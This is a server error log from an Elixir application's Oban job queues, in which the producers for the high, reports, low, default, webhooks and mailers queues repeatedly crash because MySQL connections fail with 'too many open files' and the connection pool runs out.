    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:59:53.242298Z], limit: 50, uuid: "41223668-284b-4019-b1f9-9e783f1833bc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:53.242303Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.256465>, refresh_timer: #Reference<0.2525715032.1077411843.230081>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:06.731000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:07.162000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:10.859000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:14.062000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:17.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1077ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:00:05.240703Z], limit: 3, uuid: "9454b324-6578-4ae2-bfae-a5c90eea1bd0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:05.240709Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.256718>, refresh_timer: #Reference<0.2525715032.1121189889.102150>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:17.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1044ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:00:05.241557Z], limit: 5, uuid: "9fc85656-dd59-4214-96f8-d49dc691231a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:05.241563Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.256716>, refresh_timer: #Reference<0.2525715032.1068236804.248299>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:17.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1061ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:00:05.240199Z], limit: 10, uuid: "3e44a152-46aa-40ae-aaeb-d6edfd2d02c7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:05.240205Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.256714>, refresh_timer: #Reference<0.2525715032.1068236804.248262>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:17.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 874ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:00:05.239782Z], limit: 5, uuid: "5285fe21-5de6-4594-a2b2-706f2c469b59", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:05.239789Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.256715>, refresh_timer: #Reference<0.2525715032.1068236804.248248>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:17.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 803ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:00:05.240647Z], limit: 20, uuid: "f2a26c4c-a84f-4a5b-ba13-e4939e8a9b3b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:05.240654Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.256717>, refresh_timer: #Reference<0.2525715032.1121189889.102149>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:17.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 874ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:00:05.241965Z], limit: 50, uuid: "9b64aff8-b6f2-440a-b6c1-cda7a54b97b7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:05.241971Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.256713>, refresh_timer: #Reference<0.2525715032.1099169794.256705>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:17.695000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:17.786000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:22.107000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:24.515000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:27.664000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:28.609000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:29.386000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:00:30.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1004ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:00:17.241833Z], limit: 5, uuid: "195c6ed3-b490-4645-8f25-782770f1f927", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:17.241838Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.256950>, refresh_timer: #Reference<0.2525715032.1068236804.248358>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:00:30.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:00:17.242945Z], limit: 50, uuid: "0573683c-dd36-481e-b7c4-b9d5a938b863", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:00:17.242950Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.102310>, refresh_timer: #Reference<0.2525715032.1077411843.230637>, dispatch_cooldown: 5, running: %{}}
